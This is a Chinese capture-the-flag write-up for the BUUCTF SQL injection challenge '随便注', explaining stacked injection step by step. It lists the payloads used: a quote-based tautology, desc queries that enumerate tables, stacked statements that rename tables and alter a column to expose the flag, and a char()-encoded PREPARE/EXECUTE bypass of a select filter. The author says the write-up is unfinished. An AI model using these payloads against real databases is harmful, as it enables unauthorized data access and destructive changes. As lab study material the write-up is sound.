作者:zgshenxz_474 | 来源:互联网 | 2023-07-01 16:01
题目:随便注1
出处:https://buuoj.cn/challenges
知识点: 1.堆叠注入
题面: 解题步骤: 1.直接提交1,返回了一个php数组形式的返回值,说明有回显。
2.尝试使用 ‘、"、]、) 等闭合sql语句,发现单引号引起报错, 3.尝试万能密码‘ or 1=1#
,根据回显内容,发现flag不在当前所在的表中,这说明需要利用注入语句切换当前所在的表。 4.首先查询所有的表名,1’;desc tables;#; 发现当前库中存在两个表 5.分别查看两个表结构
1';desc `1919810931114514`;# 1';desc `words`;#
发现flag存在于表1919810931114514中
6.现在目标明确,要查询表1919810931114514中的flag
1';select * from `1919810931114514`;#
执行后发现存在过滤,无法使用select。 7.到这一步为止可以有多种解法
(1)需要对查询语句进行猜解,猜测查询语句如下:
select * from `words` where id = '$inject';
或者
select id,data from `words` where id='$inject';
如此看来目前我们要查询1919810931114514表,而目前可利用的select语句执行在words表,且无法使用堆叠注入执行新的select语句,这就陷入了死循环。
重新分析一下,已有的select语句其实在本题中是可以多次执行的,每次执行不影响表结构,其功能是查询words表中的全部内容。所以我们如果能想办法利用一个堆叠注入将1919810931114514表中的内容转移到words中,然后再使用一次万能密码(’or 1=1#),就可以得到flag。
复制语句大概长这样
insert into `words` select * from `1919810931114514`
不行insert肯定会被过滤掉,换个思路,其实我还可以把1919810931114514
表名改了。
说搞就搞。
1';rename table `words` to `meiyong`;rename table `1919810931114514` to `words`;#
搞砸了,大概是没有加表名没有``,再来一次,返回结果提醒我,1919810931114514
中本身没有id列,会翻车。
重置环境重来,把flag
列名改成id
,执行成功
1';rename table `words` to `meiyong`;rename table `1919810931114514` to `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;#
接着再执行万能密码
1‘or 1=1;
(2)利用char()方法,还没做,但是嫖来了payload,感觉可以作为通法值得研究。payload如下:
?inject=';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
(3)利用预处理,还没做,什么都没做
总结:由于短短说不写完就打死我,所以本文暂时就烂尾了,明天我把剩下的两种解法补全。